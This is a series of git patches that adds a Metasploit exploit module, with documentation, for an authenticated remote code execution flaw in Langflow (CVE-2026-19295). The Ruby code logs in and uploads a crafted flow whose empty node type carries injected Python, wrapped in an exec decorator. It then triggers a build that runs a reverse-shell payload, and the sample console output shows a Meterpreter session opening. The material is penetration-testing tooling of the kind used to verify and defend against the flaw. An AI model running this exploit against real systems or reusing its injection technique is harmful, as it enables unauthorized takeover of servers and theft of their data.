From 9221b85a5a7f52ef874fde74594991b065b04424 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 27 Aug 2026 17:12:32 -0400 Subject: [PATCH 01/10] Adding initial commit and documentation --- .../http/langflow_auth_rce_cve_2026_19295.md | 48 ++++ .../http/langflow_auth_rce_cve_2026_19295.rb | 248 ++++++++++++++++++ 2 files changed, 296 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md create mode 100644 modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb diff --git a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md new file mode 100644 index 0000000000000..931d480131db7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md @@ -0,0 +1,48 @@ +## Vulnerable Application + +Langflow versions 1.10.0 and below are susceptible to authenticated remote code execution. +By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute +arbitrary Python code. + +The vulnerability affects: + + * Langflow <= 1.10.0 + + +This module was successfully tested on: + + * Langflow 1.10.0 installed with Docker + + +### Installation +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Langflow docker container (v1.8.4) in your VM. + `docker pull langflowai/langflow:1.10.0` +4. Start the langflow container. + + +``` +sudo docker run -d \ + --name langflow \ + -p 192.168.1.30:7860:7860 \ + -e LANGFLOW_SUPERUSER=root \ + -e LANGFLOW_SUPERUSER_PASSWORD=root \ + --restart unless-stopped \ + langflowai/langflow:1.10.0 \ +``` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_19295` +4. Do: `run lhost= rhost= username= password=` +5. You should get a meterpreter + + +## Options + + +## Scenarios + diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb new file mode 100644 index 0000000000000..64fbcce9b5e10 --- /dev/null +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -0,0 +1,248 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow AI authenticated RCE', + 'Description' => %q{ + Langflow versions 1.10.0 and below are susceptible to authenticated + remote code execution. By saving a flow where `data.type` is empty, + an authenticated user can bypass the flow guard and execute + arbitrary python code. + }, + 'Author' => [ + 'Richard Howe ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-19295'], + ['URL', 'https://www.ibm.com/support/pages/node/7284733'] + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2026-07-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + Opt::RPORT(7860), + OptString.new( + 'TARGETURI', + [true, 'Base path of the Langflow application', '/'] + ) + ] + ) + end + + def get_token(username, password) + data = { 'username' => username, 'password' => password } + + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => data.to_json + } + ) + + return unless res&.code == 200 + + json = res.get_json_document + return unless json.is_a?(Hash) + + json['access_token'] + end + + def create_flow(token) + node_id = Rex::Text.rand_text_alpha(8) + component_display_name = Rex::Text.rand_text_alpha(5) + component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}" + + output_display_name = Rex::Text.rand_text_alpha(5) + output_name = Rex::Text.rand_text_alpha(5).downcase + output_method = Rex::Text.rand_text_alpha(5).downcase + + injected_code = "from lfx.custom.custom_component.component import Component\n" \ + "from lfx.io import Output\n" \ + "from lfx.schema.data import Data\n" \ + "\n" \ + "class #{component_name}(Component):\n" \ + " display_name='#{component_display_name}'\n" \ + " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ + " def #{output_method}(self)->Data:\n" \ + " #{payload.encode.gsub("\n", "\n ")}\n" \ + " return Data(data={})\n" + + crafted_flow = { + 'name' => Rex::Text.rand_text_alpha(10), + 'description' => Rex::Text.rand_text_alpha(10), + 'data' => { + 'nodes' => [ + { + 'id' => node_id, + 'type' => 'genericNode', + 'position' => { + 'x' => 0, + 'y' => 0 + }, + 'data' => { + 'id' => node_id, + 'type' => '', + 'node' => { + 'template' => { + '_type' => 'Component', + 'code' => { + 'type' => 'code', + 'required' => true, + 'show' => true, + 'multiline' => true, + 'value' => injected_code, + 'name' => 'code', + 'password' => false, + 'advanced' => false, + 'dynamic' => false + } + }, + 'description' => 'Comp', + 'base_classes' => ['Data'], + 'display_name' => 'Comp', + 'name' => 'Comp', + 'frozen' => false, + 'edited' => true, + 'outputs' => [ + { + 'types' => ['Data'], + 'selected' => 'Data', + 'name' => 'o', + 'display_name' => 'O', + 'method' => 'r', + 'value' => '__UNDEFINED__', + 'cache' => true, + 'allows_loop' => false, + 'tool_mode' => false, + 'hidden' => nil, + 'required_inputs' => nil, + 'group_outputs' => false + } + ], + 'field_order' => ['code'], + 'beta' => false + } + } + } + ], + 'edges' => [] + } + } + + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/flows'), + 'headers' => { + 'Content-Type' => 'application/json', + 'Authorization' => "Bearer #{token}" + }, + 'data' => crafted_flow.to_json + } + ) + + fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res&.code&.between?(200, 299) + + json = res.get_json_document + return unless json.is_a?(Hash) + + json['id'] + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) + + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str + + package = doc.is_a?(Hash) ? doc['package'] : nil + return Exploit::CheckCode::Unknown('Failed to identify application.') unless package + return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' + + version = Rex::Version.new(version_str.to_s) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version + + # Vulnerable version of Langflow + return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.10.1') + + # Patched version of Langflow + Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + end + + def exploit + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + # Authenticate with Langflow + token = get_token(username, password) + + if token.to_s.empty? + fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.') + end + + # Create flow to trigger vulnerability + flow_id = create_flow(token) + + # Trigger vulnerability + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/#{flow_id}/flow"), + 'headers' => { + 'Content-Type' => 'application/json', + 'Authorization' => "Bearer #{token}" + }, + 'data' => {}.to_json + } + ) + + fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res&.code&.between?(200, 299) + print_status('Payload sent successfully.') + end +end From b2bfc5df17d085248646cbe9759b29c25fb130b8 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Thu, 27 Aug 2026 19:47:56 -0400 Subject: [PATCH 02/10] Updating implementation --- .../http/langflow_auth_rce_cve_2026_19295.rb | 34 ++++++++++++------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index 64fbcce9b5e10..0fa593a3baf05 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -58,6 +58,14 @@ def initialize(info = {}) OptString.new( 'TARGETURI', [true, 'Base path of the Langflow application', '/'] + ), + OptString.new( + 'USERNAME', + [true, 'Langflow login username', ''] + ), + OptString.new( + 'PASSWORD', + [true, 'Langflow login password', ''] ) ] ) @@ -70,14 +78,10 @@ def get_token(username, password) { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), - 'headers' => { - 'Content-Type' => 'application/json' - }, - 'data' => data.to_json + 'vars_post' => data } ) - - return unless res&.code == 200 + return unless res&.code&.between?(200, 299) json = res.get_json_document return unless json.is_a?(Hash) @@ -170,7 +174,7 @@ def create_flow(token) res = send_request_cgi( { 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api/v1/flows'), + 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), 'headers' => { 'Content-Type' => 'application/json', 'Authorization' => "Bearer #{token}" @@ -179,7 +183,7 @@ def create_flow(token) } ) - fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.') unless res&.code&.between?(200, 299) json = res.get_json_document return unless json.is_a?(Hash) @@ -209,10 +213,16 @@ def check return Exploit::CheckCode::Unknown('Failed to parse version.') unless version # Vulnerable version of Langflow - return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.10.1') + if version < Rex::Version.new('1.10.1') + return Exploit::CheckCode::Appears( + "Version #{version} detected, which appears vulnerable." + ) + end # Patched version of Langflow - Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + Exploit::CheckCode::Safe( + "Version #{version} detected, which is not vulnerable." + ) end def exploit @@ -233,7 +243,7 @@ def exploit res = send_request_cgi( { 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "api/v1/#{flow_id}/flow"), + 'uri' => normalize_uri(target_uri.path, "api/v1/build/#{flow_id}/flow"), 'headers' => { 'Content-Type' => 'application/json', 'Authorization' => "Bearer #{token}" @@ -242,7 +252,7 @@ def exploit } ) - fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') unless res&.code&.between?(200, 299) print_status('Payload sent successfully.') end end From 1a66bd21b2d2966cdf317c0bb41c9d798d01721c Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 28 Aug 2026 00:01:42 -0400 Subject: [PATCH 03/10] Polishing up implementation and documentation --- .../http/langflow_auth_rce_cve_2026_19295.md | 19 ++++ .../http/langflow_auth_rce_cve_2026_19295.rb | 103 ++++++++++-------- 2 files changed, 75 insertions(+), 47 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md index 931d480131db7..78a9a6f1b40e2 100644 --- a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md +++ b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md @@ -46,3 +46,22 @@ sudo docker run -d \ ## Scenarios +``` +msf > use exploit/multi/http/langflow_auth_rce_cve_2026_19295 +[*] No payload configured, defaulting to python/meterpreter/reverse_tcp +msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set RHOSTS 192.168.1.30 +RHOSTS => 192.168.1.30 +msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set USERNAME root +USERNAME => root +msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set PASSWORD root +PASSWORD => root +msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > exploit +[*] Started reverse TCP handler on 192.168.1.30:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.10.0 detected, which appears vulnerable. +[*] Payload sent successfully. +[*] Sending stage (34544 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 172.17.0.2:36926) at 2026-08-27 23:40:01 -0400 + +meterpreter > +``` diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index 0fa593a3baf05..f43971ecfc805 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -20,7 +20,7 @@ def initialize(info = {}) Langflow versions 1.10.0 and below are susceptible to authenticated remote code execution. By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute - arbitrary python code. + arbitrary Python code. }, 'Author' => [ 'Richard Howe ' @@ -72,15 +72,17 @@ def initialize(info = {}) end def get_token(username, password) - data = { 'username' => username, 'password' => password } + data = { + 'username' => username, + 'password' => password + } res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), - 'vars_post' => data - } + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), + 'vars_post' => data ) + return unless res&.code&.between?(200, 299) json = res.get_json_document @@ -98,16 +100,17 @@ def create_flow(token) output_name = Rex::Text.rand_text_alpha(5).downcase output_method = Rex::Text.rand_text_alpha(5).downcase - injected_code = "from lfx.custom.custom_component.component import Component\n" \ - "from lfx.io import Output\n" \ - "from lfx.schema.data import Data\n" \ - "\n" \ - "class #{component_name}(Component):\n" \ - " display_name='#{component_display_name}'\n" \ - " outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \ - " def #{output_method}(self)->Data:\n" \ - " #{payload.encode.gsub("\n", "\n ")}\n" \ - " return Data(data={})\n" + injected_code = [ + 'from lfx.custom.custom_component.component import Component', + 'from lfx.io import Output', + 'from lfx.schema.data import Data', + "class #{component_name}(Component):", + " display_name='#{component_display_name}'", + " outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]", + " @exec(\"#{payload.encode}\")", + ' def r(self) -> Data:', + ' return Data(data={})\n', + ].join("\n") crafted_flow = { 'name' => Rex::Text.rand_text_alpha(10), @@ -172,18 +175,18 @@ def create_flow(token) } res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), - 'headers' => { - 'Content-Type' => 'application/json', - 'Authorization' => "Bearer #{token}" - }, - 'data' => crafted_flow.to_json - } + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), + 'headers' => { + 'Content-Type' => 'application/json', + 'Authorization' => "Bearer #{token}" + }, + 'data' => crafted_flow.to_json ) - fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.') unless res&.code&.between?(200, 299) + unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.') + end json = res.get_json_document return unless json.is_a?(Hash) @@ -193,33 +196,34 @@ def create_flow(token) def check res = send_request_cgi( - { - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api/v1/version') - } + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') ) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str package = doc.is_a?(Hash) ? doc['package'] : nil return Exploit::CheckCode::Unknown('Failed to identify application.') unless package - return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' + + unless package.to_s.downcase == 'langflow' + return Exploit::CheckCode::Safe('Application is not Langflow.') + end version = Rex::Version.new(version_str.to_s) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version - # Vulnerable version of Langflow if version < Rex::Version.new('1.10.1') return Exploit::CheckCode::Appears( "Version #{version} detected, which appears vulnerable." ) end - # Patched version of Langflow Exploit::CheckCode::Safe( "Version #{version} detected, which is not vulnerable." ) @@ -229,30 +233,35 @@ def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] - # Authenticate with Langflow token = get_token(username, password) if token.to_s.empty? fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.') end - # Create flow to trigger vulnerability flow_id = create_flow(token) - # Trigger vulnerability + if flow_id.to_s.empty? + fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.') + end + res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "api/v1/build/#{flow_id}/flow"), - 'headers' => { - 'Content-Type' => 'application/json', - 'Authorization' => "Bearer #{token}" - }, - 'data' => {}.to_json - } + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + "api/v1/build/#{flow_id}/flow" + ), + 'headers' => { + 'Content-Type' => 'application/json', + 'Authorization' => "Bearer #{token}" + }, + 'data' => {}.to_json ) - fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') unless res&.code&.between?(200, 299) + unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') + end + print_status('Payload sent successfully.') end end From fd6d78d1d5f07f5c3dd0eb398628fc6bf905104a Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 28 Aug 2026 07:57:59 -0400 Subject: [PATCH 04/10] Fix typo in documentation --- modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index f43971ecfc805..be5051e51b651 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -43,7 +43,7 @@ def initialize(info = {}) 'Payload' => { 'BadChars' => '"' }, - 'DisclosureDate' => '2026-07-17', + 'DisclosureDate' => '2026-08-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], From ba3d681d4b2d0e274e72bd8db583586d8a9fd33a Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 28 Aug 2026 18:54:08 -0400 Subject: [PATCH 05/10] Updating implementation and documentation based on reviewer feedback --- .../exploit/multi/http/langflow_auth_rce_cve_2026_19295.md | 6 +++--- .../exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md index 78a9a6f1b40e2..d30b044f5e8be 100644 --- a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md +++ b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md @@ -1,12 +1,12 @@ ## Vulnerable Application -Langflow versions 1.10.0 and below are susceptible to authenticated remote code execution. +Langflow versions 1.11.1 and below are susceptible to authenticated remote code execution. By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute arbitrary Python code. The vulnerability affects: - * Langflow <= 1.10.0 + * Langflow <= 1.11.1 This module was successfully tested on: @@ -17,7 +17,7 @@ This module was successfully tested on: ### Installation 1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. 2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine. -3. Pull pre-built Langflow docker container (v1.8.4) in your VM. +3. Pull pre-built Langflow docker container (v1.10.0) in your VM. `docker pull langflowai/langflow:1.10.0` 4. Start the langflow container. diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index be5051e51b651..42cbcda7018cf 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -17,7 +17,7 @@ def initialize(info = {}) info, 'Name' => 'Langflow AI authenticated RCE', 'Description' => %q{ - Langflow versions 1.10.0 and below are susceptible to authenticated + Langflow versions 1.11.1 and below are susceptible to authenticated remote code execution. By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute arbitrary Python code. @@ -109,7 +109,7 @@ def create_flow(token) " outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]", " @exec(\"#{payload.encode}\")", ' def r(self) -> Data:', - ' return Data(data={})\n', + ' return Data(data={})', ].join("\n") crafted_flow = { From 2d7cb4734810d58a0bb45d5a355acb0370397f8d Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 28 Aug 2026 19:27:38 -0400 Subject: [PATCH 06/10] Updating implementation based on reviewer feedback --- .../exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index 42cbcda7018cf..7a0a20bbc8408 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -152,9 +152,9 @@ def create_flow(token) { 'types' => ['Data'], 'selected' => 'Data', - 'name' => 'o', - 'display_name' => 'O', - 'method' => 'r', + 'name' => output_name, + 'display_name' => output_display_name, + 'method' => output_method, 'value' => '__UNDEFINED__', 'cache' => true, 'allows_loop' => false, From 310152f01afd598b74ab4fec5b2b6d05322f12db Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Sat, 29 Aug 2026 09:57:29 -0400 Subject: [PATCH 07/10] Fixing version check logic --- modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index 7a0a20bbc8408..b73021430b202 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -218,7 +218,7 @@ def check return Exploit::CheckCode::Unknown('Failed to parse version.') unless version - if version < Rex::Version.new('1.10.1') + if version < Rex::Version.new('1.11.1') return Exploit::CheckCode::Appears( "Version #{version} detected, which appears vulnerable." ) From 04c1dbb02397cd24d5506b311fd15a76f3e0fcb3 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Sat, 29 Aug 2026 11:09:12 -0400 Subject: [PATCH 08/10] Polishing up implementation --- .../multi/http/langflow_auth_rce_cve_2026_19295.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index b73021430b202..1e4b970e0ac85 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -101,9 +101,9 @@ def create_flow(token) output_method = Rex::Text.rand_text_alpha(5).downcase injected_code = [ - 'from lfx.custom.custom_component.component import Component', - 'from lfx.io import Output', - 'from lfx.schema.data import Data', + 'from langflow.custom.custom_component.component import Component', + 'from langflow.io import Output', + 'from langflow.schema.data import Data', "class #{component_name}(Component):", " display_name='#{component_display_name}'", " outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]", @@ -126,7 +126,7 @@ def create_flow(token) }, 'data' => { 'id' => node_id, - 'type' => '', + 'type' => 'CustomComponent', 'node' => { 'template' => { '_type' => 'Component', From a6459cdf40c07a4aba9ec52d3ab9ffeee673beca Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Sat, 29 Aug 2026 11:48:17 -0400 Subject: [PATCH 09/10] Cleaning up injected code to minimize noise in Langflow debugger console --- .../multi/http/langflow_auth_rce_cve_2026_19295.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index 1e4b970e0ac85..b5ff0ea287613 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -100,16 +100,19 @@ def create_flow(token) output_name = Rex::Text.rand_text_alpha(5).downcase output_method = Rex::Text.rand_text_alpha(5).downcase + _payload_b64 = Rex::Text.encode_base64(payload.encoded) + injected_code = [ - 'from langflow.custom.custom_component.component import Component', + 'from langflow.custom import Component', 'from langflow.io import Output', 'from langflow.schema.data import Data', + '_fired = [False]', "class #{component_name}(Component):", " display_name='#{component_display_name}'", " outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]", - " @exec(\"#{payload.encode}\")", - ' def r(self) -> Data:', - ' return Data(data={})', + " @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '', 'exec'))), f)[-1])", + " def #{output_method}(self) -> Data:", + ' return Data(data={})' ].join("\n") crafted_flow = { From caec8f3f68dbaccd3709aff1ce295106bbe5f2f8 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Mon, 31 Aug 2026 14:32:47 -0400 Subject: [PATCH 10/10] Updating implementation based on reviewer feedback --- .../exploit/multi/http/langflow_auth_rce_cve_2026_19295.md | 5 +++-- .../exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb | 6 ++---- 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md index d30b044f5e8be..9059b7067fac2 100644 --- a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md +++ b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_19295.md @@ -28,8 +28,9 @@ sudo docker run -d \ -p 192.168.1.30:7860:7860 \ -e LANGFLOW_SUPERUSER=root \ -e LANGFLOW_SUPERUSER_PASSWORD=root \ - --restart unless-stopped \ - langflowai/langflow:1.10.0 \ + -e LANGFLOW_AUTO_LOGIN=false \ + -e LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false \ + langflowai/langflow:1.10.0 ``` ## Verification Steps diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb index b5ff0ea287613..a08b97615cbdc 100644 --- a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb @@ -100,8 +100,6 @@ def create_flow(token) output_name = Rex::Text.rand_text_alpha(5).downcase output_method = Rex::Text.rand_text_alpha(5).downcase - _payload_b64 = Rex::Text.encode_base64(payload.encoded) - injected_code = [ 'from langflow.custom import Component', 'from langflow.io import Output', @@ -129,7 +127,7 @@ def create_flow(token) }, 'data' => { 'id' => node_id, - 'type' => 'CustomComponent', + 'type' => '', 'node' => { 'template' => { '_type' => 'Component', @@ -221,7 +219,7 @@ def check return Exploit::CheckCode::Unknown('Failed to parse version.') unless version - if version < Rex::Version.new('1.11.1') + if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1')) return Exploit::CheckCode::Appears( "Version #{version} detected, which appears vulnerable." )